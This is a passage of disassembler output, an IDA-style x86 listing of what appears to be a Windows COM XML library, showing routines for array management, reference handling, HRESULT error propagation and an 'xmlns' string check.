loc_69B3D25F:				; CODE XREF: sub_69B3D200+2Aj
		mov	ebx, [ebp-20h]
		push	ebx
		push	esi
		call	sub_69B18788


loc_69B3D269:				; CODE XREF: sub_69B3D200+1Dj
		mov	eax, ebx
		call	sub_69B1853C
		retn
sub_69B3D200	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 8
dword_69B3D278	dd 0FFFFFFFFh			dd offset loc_69B3D23C
		dd offset loc_69B3D245

; =============== S U B	R O U T	I N E =======================================



sub_69B3D284	proc near		; DATA XREF: .text:69B1BFCCo
					; .text:69B22094o
		xor	eax, eax
		xor	edx, edx
		retn
sub_69B3D284	endp

; [00000003 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B3D28C	proc near		; DATA XREF: .text:69B1243Co
					; .text:69B21FACo

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_69B3D2A2
		push	80040104h
		call	sub_69B2E8B8


loc_69B3D2A2:				; CODE XREF: sub_69B3D28C+Aj
		cmp	[ebp+arg_4], 17h
		jnz	short loc_69B3D2E0
		lea	edx, [ebp+arg_0]
		push	edx
		lea	eax, [esi-2Ch]
		mov	ecx, [eax]
		push	offset stru_69B25E34
		push	eax
		call	dword ptr [ecx]
		mov	esi, eax
		test	esi, esi
		jl	short loc_69B3D2DA
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+100h]
		mov	esi, eax
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		test	esi, esi
		jge	short loc_69B3D2E0


loc_69B3D2DA:				; CODE XREF: sub_69B3D28C+31j
		push	esi
		call	sub_69B2E8B8


loc_69B3D2E0:				; CODE XREF: sub_69B3D28C+1Aj
					; sub_69B3D28C+4Cj
		push	0		; BSTR
		call	SysFreeString
		pop	esi
		pop	ebp
		retn	14h
sub_69B3D28C	endp

; ---------------------------------------------------------------------------
		jmp	sub_69B1E570

; =============== S U B	R O U T	I N E =======================================



sub_69B3D2F2	proc near		; CODE XREF: sub_69B166C0+61p
					; sub_69B3DC8C+45p ...
		push	10h
		push	offset dword_69B3D3B0
		call	sub_69B19C5C
		mov	edi, ecx
		call	sub_69B17275
		test	eax, eax
		jz	short loc_69B3D310
		xor	esi, esi
		mov	[ebp-1Ch], esi
		jmp	short loc_69B3D31C
; ---------------------------------------------------------------------------


loc_69B3D310:				; CODE XREF: sub_69B3D2F2+15j
		mov	ecx, edi
		call	sub_69B3D200
		mov	[ebp-1Ch], eax
		xor	esi, esi


loc_69B3D31C:				; CODE XREF: sub_69B3D2F2+1Cj
		cmp	[ebp-1Ch], esi
		jz	short loc_69B3D329
		mov	ecx, [ebp-1Ch]
		call	sub_69B2E22D


loc_69B3D329:				; CODE XREF: sub_69B3D2F2+2Dj
		mov	[ebp-4], esi
		mov	ecx, edi
		call	sub_69B3D200
		push	eax
		push	edi
		push	esi
		push	esi
		push	dword ptr [ebp+14h]
		push	esi
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_69B49219
		mov	[ebp-20h], eax
		jmp	short loc_69B3D36B
; ---------------------------------------------------------------------------


loc_69B3D34B:				; DATA XREF: .text:69B3D3B4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B3D354:				; DATA XREF: .text:69B3D3B8o
		mov	esp, [ebp-18h]
		xor	esi, esi
		cmp	[ebp-1Ch], esi
		jz	short loc_69B3D366
		mov	ecx, [ebp-1Ch]
		call	sub_69B2E238


loc_69B3D366:				; CODE XREF: sub_69B3D2F2+6Aj
		call	sub_69B2E860


loc_69B3D36B:				; CODE XREF: sub_69B3D2F2+57j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	[ebp-1Ch], esi
		jz	short loc_69B3D37C
		mov	ecx, [ebp-1Ch]
		call	sub_69B2E238


loc_69B3D37C:				; CODE XREF: sub_69B3D2F2+80j
		cmp	[ebp+10h], esi
		jz	short loc_69B3D3A1
		push	esi
		push	dword ptr [ebp-20h]
		mov	ecx, [ebp+10h]
		call	sub_69B499AC
		cmp	dword ptr [ebp+18h], 1
		jnz	short loc_69B3D3A1
		push	esi
		push	esi
		push	esi
		push	dword ptr [ebp+10h]
		mov	ecx, [ebp-20h]
		call	sub_69B4B0C7


loc_69B3D3A1:				; CODE XREF: sub_69B3D2F2+8Dj
					; sub_69B3D2F2+9Fj
		mov	eax, [ebp-20h]
		call	sub_69B1853C
		retn	14h
sub_69B3D2F2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
dword_69B3D3B0	dd 0FFFFFFFFh			dd offset loc_69B3D34B
		dd offset loc_69B3D354

; =============== S U B	R O U T	I N E =======================================



sub_69B3D3BC	proc near		; CODE XREF: sub_69B49F3F+F9p

arg_0		= dword	ptr  4

		push	esi
		lea	esi, [ecx+30h]
		cmp	dword ptr [esi], 0
		jnz	short loc_69B3D3E7
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	ecx, edi
		call	sub_69B17355
		push	0
		push	edi
		push	esi
		call	dword_69B92950	; InterlockedCompareExchange
		test	eax, eax
		jz	short loc_69B3D3E6
		mov	ecx, edi
		call	sub_69B183BB


loc_69B3D3E6:				; CODE XREF: sub_69B3D3BC+21j
		pop	edi


loc_69B3D3E7:				; CODE XREF: sub_69B3D3BC+7j
		pop	esi
		retn	4
sub_69B3D3BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B3D3EB	proc near		; CODE XREF: sub_69B3D989+1Ap

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		mov	ebx, ecx
		lea	eax, [ebx+0Ch]
		push	esi
		push	eax		; Target
		mov	[ebp+var_14], eax
		call	sub_69B18980
		mov	[ebp+var_10], eax
		mov	eax, [ebx+4]
		xor	ecx, ecx
		cmp	[ebx], eax
		jge	short loc_69B3D423
		test	eax, eax
		jle	short loc_69B3D48B
		mov	edx, [ebx+8]


loc_69B3D414:				; CODE XREF: sub_69B3D3EB+34j
		cmp	dword ptr [edx], 0
		jz	short loc_69B3D48B
		inc	ecx
		add	edx, 4
		cmp	ecx, eax
		jl	short loc_69B3D414
		jmp	short loc_69B3D48B
; ---------------------------------------------------------------------------


loc_69B3D423:				; CODE XREF: sub_69B3D3EB+20j
		mov	ecx, [ebx+8]
		mov	[ebp+var_C], eax
		add	eax, 8
		mov	esi, eax
		shl	esi, 2
		push	esi
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], ecx
		call	sub_69B11E44
		mov	edx, eax
		test	edx, edx
		jnz	short loc_69B3D44A
		mov	esi, 8007000Eh
		jmp	short loc_69B3D498
; ---------------------------------------------------------------------------


loc_69B3D44A:				; CODE XREF: sub_69B3D3EB+56j
		push	edi
		mov	ecx, esi
		shr	ecx, 2
		xor	eax, eax
		mov	edi, edx
		rep stosd
		push	[ebp+var_4]
		mov	ecx, esi
		mov	esi, [ebp+var_4]
		and	ecx, 3
		rep stosb
		mov	ecx, [ebx+4]
		shl	ecx, 2
		mov	eax, ecx
		shr	ecx, 2
		mov	edi, edx
		rep movsd
		mov	ecx, eax
		mov	eax, [ebp+var_8]
		and	ecx, 3
		rep movsb
		mov	[ebx+8], edx
		mov	[ebx+4], eax
		call	sub_69B1B2B7
		mov	ecx, [ebp+var_C]
		pop	edi


loc_69B3D48B:				; CODE XREF: sub_69B3D3EB+24j
					; sub_69B3D3EB+2Cj ...
		mov	eax, [ebx+8]
		mov	edx, [ebp+arg_0]
		mov	[eax+ecx*4], edx
		inc	dword ptr [ebx]
		xor	esi, esi


loc_69B3D498:				; CODE XREF: sub_69B3D3EB+5Dj
		push	[ebp+var_10]
		push	[ebp+var_14]
		call	sub_69B18788
		mov	eax, esi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_69B3D3EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B3D4AB	proc near		; CODE XREF: sub_69B3D9B7+21p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	esi, ecx
		lea	edi, [esi+0Ch]
		push	edi		; Target
		call	sub_69B18980
		mov	ecx, [esi+8]
		xor	edx, edx
		cmp	ecx, edx
		mov	[ebp+var_4], eax
		jz	short loc_69B3D4E9
		cmp	[esi+4], edx
		jle	short loc_69B3D4E9
		push	ebx
		mov	ebx, ecx


loc_69B3D4D0:				; CODE XREF: sub_69B3D4AB+33j
		mov	eax, [ebx]
		cmp	eax, [ebp+arg_0]
		jz	short loc_69B3D4E2
		inc	edx
		add	ebx, 4
		cmp	edx, [esi+4]
		jl	short loc_69B3D4D0
		jmp	short loc_69B3D4E8
; ---------------------------------------------------------------------------


loc_69B3D4E2:				; CODE XREF: sub_69B3D4AB+2Aj
		and	dword ptr [ecx+edx*4], 0
		dec	dword ptr [esi]


loc_69B3D4E8:				; CODE XREF: sub_69B3D4AB+35j
		pop	ebx


loc_69B3D4E9:				; CODE XREF: sub_69B3D4AB+1Bj
					; sub_69B3D4AB+20j
		push	[ebp+var_4]
		push	edi
		call	sub_69B18788
		pop	edi
		pop	esi
		leave
		retn	4
sub_69B3D4AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3D4F8	proc near		; CODE XREF: sub_69B3D963+12p

arg_0		= dword	ptr  4

		mov	eax, [ecx+8]
		test	eax, eax
		jz	short loc_69B3D514
		mov	ecx, [ecx+4]
		jmp	short loc_69B3D510
; ---------------------------------------------------------------------------


loc_69B3D504:				; CODE XREF: sub_69B3D4F8+1Aj
		mov	edx, [eax]
		dec	ecx
		add	eax, 4
		cmp	edx, [esp+arg_0]
		jz	short loc_69B3D519


loc_69B3D510:				; CODE XREF: sub_69B3D4F8+Aj
		test	ecx, ecx
		jnz	short loc_69B3D504


loc_69B3D514:				; CODE XREF: sub_69B3D4F8+5j
		xor	al, al

locret_69B3D516:			; CODE XREF: sub_69B3D4F8+23j
		retn	4
; ---------------------------------------------------------------------------


loc_69B3D519:				; CODE XREF: sub_69B3D4F8+16j
		mov	al, 1
		jmp	short locret_69B3D516
sub_69B3D4F8	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3D51D	proc near		; CODE XREF: sub_69B3F10D+55p
					; sub_69B89C91+24p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		test	edx, edx
		jnz	short loc_69B3D529
		cmp	[ecx], edx
		jz	short loc_69B3D534


loc_69B3D529:				; CODE XREF: sub_69B3D51D+6j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_69B3D539
		cmp	[eax+0Ch], edx
		jnz	short loc_69B3D539


loc_69B3D534:				; CODE XREF: sub_69B3D51D+Aj
		xor	eax, eax
		inc	eax
		jmp	short locret_69B3D53B
; ---------------------------------------------------------------------------


loc_69B3D539:				; CODE XREF: sub_69B3D51D+10j
					; sub_69B3D51D+15j
		xor	eax, eax

locret_69B3D53B:			; CODE XREF: sub_69B3D51D+1Aj
		retn	4
sub_69B3D51D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3D53E	proc near		; CODE XREF: sub_69B41BEC+10Ep
					; sub_69B435DC+124p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	0
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_69B4C674
		retn	0Ch
sub_69B3D53E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3D556	proc near		; CODE XREF: sub_69B41E9C+112p
					; sub_69B435DC+10Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_69B4C674
		retn	0Ch
sub_69B3D556	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3D570	proc near		; CODE XREF: sub_69B40A6C+B8p
					; sub_69B40CBC+B1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		push	0
		push	0
		call	sub_69B4C674
		retn	8
sub_69B3D570	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B3D586	proc near		; CODE XREF: sub_69B3FB2F+9Bp
					; sub_69B4202C+8Ep ...

var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	al, [ebp+arg_4]
		and	[ebp+var_8], 0
		mov	[ebp+var_18], al
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], eax
		mov	al, [ebp+arg_10]
		mov	[ebp+var_C], al
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+arg_0]
		mov	[ebp+var_4], 0
		call	sub_69B497AC
		leave
		retn	14h
sub_69B3D586	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3D5BC	proc near		; CODE XREF: sub_69B3E5A2+1Cp
					; sub_69B49D8E+93p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	5
		pop	ecx
		cmp	[esp+arg_4], ecx
		jnz	short loc_69B3D5DC
		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, offset aXmlns ; "xmlns"
		xor	eax, eax
		repe cmpsw
		pop	edi
		pop	esi
		jnz	short loc_69B3D5DC
		inc	eax
		jmp	short locret_69B3D5DE
; ---------------------------------------------------------------------------


loc_69B3D5DC:				; CODE XREF: sub_69B3D5BC+7j
					; sub_69B3D5BC+1Bj
		xor	eax, eax

locret_69B3D5DE:			; CODE XREF: sub_69B3D5BC+1Ej
		retn	8
sub_69B3D5BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3D5E1	proc near		; CODE XREF: sub_69B3F552+3j
					; DATA XREF: .text:69B124C0o ...

arg_0		= dword	ptr  4

		cmp	byte ptr [ecx+69h], 0
		push	esi
		push	edi
		jz	short loc_69B3D5FE
		cmp	dword ptr [ecx+0BCh], 0
		mov	esi, offset dword_69B12158
		jz	short loc_69B3D603
		mov	esi, (offset dword_69B12128+10h)
		jmp	short loc_69B3D603
; ---------------------------------------------------------------------------


loc_69B3D5FE:				; CODE XREF: sub_69B3D5E1+6j
		mov	esi, offset dword_69B12128


loc_69B3D603:				; CODE XREF: sub_69B3D5E1+14j
					; sub_69B3D5E1+1Bj
		mov	eax, [esp+8+arg_0]
		mov	edi, eax
		movsd
		movsd
		movsd
		movsd
		pop	edi
		pop	esi
		retn	4
sub_69B3D5E1	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3D612	proc near		; CODE XREF: sub_69B3D622+56p
		mov	eax, [ecx+50h]
		mov	eax, [eax+5Ch]
		shl	eax, 8
		push	eax
		call	sub_69B2D6CE
		retn
sub_69B3D612	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3D622	proc near		; CODE XREF: sub_69B3E044+8p
					; sub_69B3EF5A+6Fp ...
		push	28h
		push	offset dword_69B3D6B8
		call	sub_69B19C5C
		mov	esi, ecx
		mov	eax, [esi+4Ch]
		xor	ebx, ebx
		cmp	eax, ebx
		jz	short loc_69B3D6AA
		push	ebx
		lea	ecx, [ebp-34h]
		call	sub_69B2DC5B
		mov	[ebp-4], ebx
		mov	ecx, [esi+4Ch]
		mov	[ebp-38h], ecx
		push	dword ptr [ebp+8]
		cmp	[ebp+8], bl
		setz	al
		push	eax
		push	ebx
		call	sub_69B4B74A
		lea	ecx, [ebp-34h]
		call	sub_69B2DA65
		lea	ecx, [ebp-34h]
		call	sub_69B2D6DB
		mov	ecx, esi
		call	sub_69B17275
		test	eax, eax
		jnz	short loc_69B3D69E
		mov	ecx, esi
		call	sub_69B3D612
		push	ebx
		call	sub_69B18C0C
		jmp	short loc_69B3D69E
; ---------------------------------------------------------------------------


loc_69B3D685:				; DATA XREF: .text:69B3D6BCo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B3D68E:				; DATA XREF: .text:69B3D6C0o
		mov	esp, [ebp-18h]
		lea	ecx, [ebp-34h]
		call	sub_69B2D6DB
		call	sub_69B2E860


loc_69B3D69E:				; CODE XREF: sub_69B3D622+52j
					; sub_69B3D622+61j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-34h]
		call	sub_69B2DBD4


loc_69B3D6AA:				; CODE XREF: sub_69B3D622+15j
		call	sub_69B1853C
		retn	4
sub_69B3D622	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 8
dword_69B3D6B8	dd 0FFFFFFFFh			dd offset loc_69B3D685
		dd offset loc_69B3D68E

; =============== S U B	R O U T	I N E =======================================



sub_69B3D6C4	proc near		; CODE XREF: sub_69B3C634+114p
					; sub_69B3C634+163p ...
		mov	ecx, [ecx+4Ch]
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		call	sub_69B49C1F
		retn
sub_69B3D6C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3D6D2	proc near		; CODE XREF: sub_69B4414B+77p
					; sub_69B57374+6Ep ...

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		mov	esi, ecx
		jz	short loc_69B3D6F1
		test	byte ptr [ebx+0Bh], 1Fh
		jz	short loc_69B3D6F1
		push	80070057h
		call	sub_69B2E8B8


loc_69B3D6F1:				; CODE XREF: sub_69B3D6D2+Dj
					; sub_69B3D6D2+13j
		mov	ecx, [esi+4Ch]
		push	edi
		push	edi
		push	edi
		call	sub_69B49C1F
		cmp	eax, edi
		mov	ecx, [esi+4Ch]
		push	1
		push	edi
		jz	short loc_69B3D712
		cmp	ebx, edi
		push	eax
		jz	short loc_69B3D70E
		push	eax
		jmp	short loc_69B3D714
; ---------------------------------------------------------------------------


loc_69B3D70E:				; CODE XREF: sub_69B3D6D2+37j
		push	edi
		push	edi
		jmp	short loc_69B3D715
; ---------------------------------------------------------------------------


loc_69B3D712:				; CODE XREF: sub_69B3D6D2+32j
		push	edi
		push	edi


loc_69B3D714:				; CODE XREF: sub_69B3D6D2+3Aj
		push	ebx


loc_69B3D715:				; CODE XREF: sub_69B3D6D2+3Ej
		call	sub_69B4C674
		pop	edi
		pop	esi
		pop	ebx
		retn	4
sub_69B3D6D2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3D720	proc near		; CODE XREF: sub_69B4465C+50p
		mov	ecx, [ecx+4Ch]
		push	0
		push	4
		push	0
		call	sub_69B49C1F
		test	eax, eax
		jnz	short loc_69B3D733
		retn
; ---------------------------------------------------------------------------


loc_69B3D733:				; CODE XREF: sub_69B3D720+10j
		mov	edx, [eax]
		mov	ecx, eax
		jmp	dword ptr [edx+3Ch]
sub_69B3D720	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3D73A	proc near		; DATA XREF: .text:69B12480o
					; .text:69B21FF0o

arg_0		= dword	ptr  4

		mov	eax, [ecx+0Ch]
		mov	ecx, [esp+arg_0]
		mov	[ecx], eax
		retn	4
sub_69B3D73A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3D746	proc near		; DATA XREF: .text:69B1BFC0o
					; .text:69B22088o

arg_0		= dword	ptr  4

		cmp	dword ptr [ecx+4Ch], 0
		jz	short locret_69B3D763
		mov	eax, [esp+arg_0]
		push	0
		push	eax
		mov	dword ptr [eax+18h], 1
		push	ecx
		mov	ecx, [ecx+4Ch]
		call	sub_69B173D1

locret_69B3D763:			; CODE XREF: sub_69B3D746+4j
		retn	4
sub_69B3D746	endp

; ---------------------------------------------------------------------------


loc_69B3D766:				; DATA XREF: .text:off_69B220C0o
		push	edi
		push	dword ptr [esp+8]
		mov	edi, ecx
		call	sub_69B89EAF
		mov	eax, [edi+0CCh]
		test	eax, eax
		jz	short loc_69B3D79F
		push	esi
		mov	esi, [eax+0Ch]
		jmp	short loc_69B3D79A
; ---------------------------------------------------------------------------


loc_69B3D782:				; CODE XREF: .text:69B3D79Cj
		mov	ecx, [edi+0CCh]
		dec	esi
		push	esi
		call	sub_69B8A163
		push	dword ptr [esp+0Ch]
		lea	ecx, [eax+0Ch]
		mov	eax, [ecx]
		call	dword ptr [eax]


loc_69B3D79A:				; CODE XREF: .text:69B3D780j
		test	esi, esi
		jnz	short loc_69B3D782
		pop	esi


loc_69B3D79F:				; CODE XREF: .text:69B3D77Aj
		pop	edi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_69B3D7A3	proc near		; DATA XREF: .text:69B1BFC4o
					; .text:69B2208Co
		cmp	byte ptr [ecx+8Dh], 0
		jz	short locret_69B3D7B3
		mov	eax, [ecx]
		push	3
		call	dword ptr [eax+6Ch]

locret_69B3D7B3:			; CODE XREF: sub_69B3D7A3+7j
		retn
sub_69B3D7A3	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3D7B4	proc near		; CODE XREF: sub_69B3EE2A+6Ep
		push	14h
		push	offset dword_69B3D890
		call	sub_69B19C5C
		xor	esi, esi
		mov	[ebp-1Ch], esi
		mov	eax, [ecx+60h]
		mov	ecx, [eax]
		lea	edx, [ebp-20h]
		push	edx
		push	eax
		call	dword ptr [ecx+2Ch]
		mov	edi, eax
		cmp	edi, esi
		jl	short loc_69B3D7F4
		push	dword ptr [ebp-20h] ; lpString
		call	sub_69B1A587
		mov	[ebp-1Ch], eax
		push	dword ptr [ebp-20h] ; BSTR
		call	SysFreeString
		cmp	edi, esi
		jz	loc_69B3D877


loc_69B3D7F4:				; CODE XREF: sub_69B3D7B4+22j
		mov	[ebp-4], esi
		push	esi
		push	dword ptr [ebp+0Ch]
		call	sub_69B2F944
		pop	ecx
		pop	ecx
		mov	[ebp-24h], eax
		cmp	eax, esi
		jz	short loc_69B3D873
		push	esi
		push	dword ptr [ebp-1Ch]
		push	eax
		call	sub_69B2F2CA
		add	esp, 0Ch
		jmp	short loc_69B3D870
; ---------------------------------------------------------------------------


loc_69B3D818:				; DATA XREF: .text:69B3D894o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B3D821:				; DATA XREF: .text:69B3D898o
		mov	esp, [ebp-18h]
		push	0D8h
		call	sub_69B17EF3
		mov	dword ptr [eax+8], 64h
		mov	ecx, eax
		call	sub_69B2EF86
		mov	esi, eax
		push	10h
		lea	eax, [esi+0Ch]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	sub_69B84B5F
		add	esp, 0Ch
		push	esi
		call	sub_69B2F0B1
		xor	esi, esi
		push	esi
		push	eax
		push	0C00CE01Fh
		call	sub_69B2F944
		push	esi
		push	dword ptr [ebp-1Ch]
		push	eax
		call	sub_69B2F2CA
		add	esp, 18h


loc_69B3D870:				; CODE XREF: sub_69B3D7B4+62j
		mov	[ebp-1Ch], eax


loc_69B3D873:				; CODE XREF: sub_69B3D7B4+53j
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B3D877:				; CODE XREF: sub_69B3D7B4+3Aj
		push	dword ptr [ebp-1Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_69B1D342
		call	sub_69B1853C
		retn	8
sub_69B3D7B4	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B3D890	dd 0FFFFFFFFh			dd offset loc_69B3D818
		dd offset loc_69B3D821

; =============== S U B	R O U T	I N E =======================================



sub_69B3D89C	proc near		; CODE XREF: sub_69B3E8B5+70p
					; sub_69B3E947+2Dp ...
		mov	ecx, [ecx+6Ch]
		test	ecx, ecx
		jnz	sub_69B2E804
		xor	eax, eax
		retn
sub_69B3D89C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3D8AA	proc near		; CODE XREF: sub_69B3E7B0+18p
					; sub_69B3E947+Dp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		mov	esi, ecx
		mov	ecx, [esi+0D4h]
		test	ecx, ecx
		push	edi
		mov	edi, [esp+8+arg_0]
		jz	short loc_69B3D8C2
		push	edi
		call	sub_69B8A37E


loc_69B3D8C2:				; CODE XREF: sub_69B3D8AA+10j
		cmp	[esp+8+arg_4], 0
		jnz	short loc_69B3D8E7
		mov	ecx, [esi+0D8h]
		test	ecx, ecx
		jz	short loc_69B3D8E7
		push	edi
		call	sub_69B8A37E
		push	0
		add	edi, 0D0h
		push	edi
		call	sub_69B2DEB2


loc_69B3D8E7:				; CODE XREF: sub_69B3D8AA+1Dj
					; sub_69B3D8AA+27j
		pop	edi
		pop	esi
		retn	8
sub_69B3D8AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3D8EC	proc near		; CODE XREF: sub_69B3E8B5+Dp
					; sub_69B4FDBC+6FCp ...
		mov	eax, [ecx+0D4h]
		test	eax, eax
		jz	short loc_69B3D900
		cmp	dword ptr [eax+0Ch], 0
		jle	short loc_69B3D900
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_69B3D900:				; CODE XREF: sub_69B3D8EC+8j
					; sub_69B3D8EC+Ej
		xor	eax, eax
		retn
sub_69B3D8EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B3D903	proc near		; CODE XREF: sub_69B49F3F+AAp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword ptr [ecx+0E4h], 1
		lea	eax, [ecx+30h]
		setz	byte ptr [ebp+var_4]
		cmp	dword ptr [eax], 0
		push	esi
		jz	short loc_69B3D952
		push	0		; Value
		push	eax		; Target
		call	ds:InterlockedExchange	; InterlockedExchange
		mov	esi, eax
		test	esi, esi
		jz	short loc_69B3D952
		push	edi
		mov	ecx, esi
		call	sub_69B183BB
		cmp	byte ptr [ebp+var_4], 0
		jz	short loc_69B3D93F
		call	sub_69B5EA90
		jmp	short loc_69B3D944
; ---------------------------------------------------------------------------


loc_69B3D93F:				; CODE XREF: sub_69B3D903+33j
		call	sub_69B60B2D


loc_69B3D944:				; CODE XREF: sub_69B3D903+3Aj
		mov	edi, eax
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+1Ch]
		cmp	eax, edi
		pop	edi
		jz	short loc_69B3D95E


loc_69B3D952:				; CODE XREF: sub_69B3D903+16j
					; sub_69B3D903+25j
		push	0
		push	[ebp+var_4]
		call	sub_69B3D17C
		mov	esi, eax


loc_69B3D95E:				; CODE XREF: sub_69B3D903+4Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_69B3D903	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3D963	proc near		; CODE XREF: sub_69B4639C+4Ap
					; sub_69B4639C+96p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		lea	ecx, [esi+90h]
		cmp	dword ptr [ecx], 0
		jz	short loc_69B3D982
		push	[esp+4+arg_0]
		call	sub_69B3D4F8
		test	al, al
		jz	short loc_69B3D982
		xor	eax, eax
		jmp	short loc_69B3D985
; ---------------------------------------------------------------------------


loc_69B3D982:				; CODE XREF: sub_69B3D963+Cj
					; sub_69B3D963+19j
		mov	eax, [esi+3Ch]


loc_69B3D985:				; CODE XREF: sub_69B3D963+1Dj
		pop	esi
		retn	4
sub_69B3D963	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3D989	proc near		; CODE XREF: sub_69B3E0AB+B3p
					; sub_69B3E475+3Ap ...
		push	esi
		push	edi
		push	dwTlsIndex
		mov	edi, ecx
		call	dword_69B92970
		mov	esi, [eax+40h]
		push	esi
		lea	ecx, [edi+90h]
		call	sub_69B3D3EB
		test	eax, eax
		jz	short loc_69B3D9B2
		push	eax
		call	sub_69B2E8B8


loc_69B3D9B2:				; CODE XREF: sub_69B3D989+21j
		pop	edi
		mov	eax, esi
		pop	esi
		retn
sub_69B3D989	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3D9B7	proc near		; CODE XREF: sub_69B3E1E4+37p
					; sub_69B3E475+96p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		push	esi
		mov	esi, ecx
		jnz	short loc_69B3D9D1
		push	dwTlsIndex
		call	dword_69B92970
		mov	eax, [eax+40h]


loc_69B3D9D1:				; CODE XREF: sub_69B3D9B7+9j
		push	eax
		lea	ecx, [esi+90h]
		call	sub_69B3D4AB
		pop	esi
		retn	4
sub_69B3D9B7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B3F0EC


loc_69B3D9E1:				; CODE XREF: sub_69B3F0EC+6j
					; sub_69B3F0F7+6j ...
		push	esi
		mov	esi, ecx
		push	0
		push	esi
		call	sub_69B17320
		cmp	[esp+4+arg_0], 0
		jz	short loc_69B3DA14
		push	1Ch
		call	sub_69B1D897
		test	eax, eax
		jz	short loc_69B3DA10
		push	[esp+4+arg_0]
		mov	ecx, eax
		push	offset dword_69B2AFE0
		call	sub_69B881B2
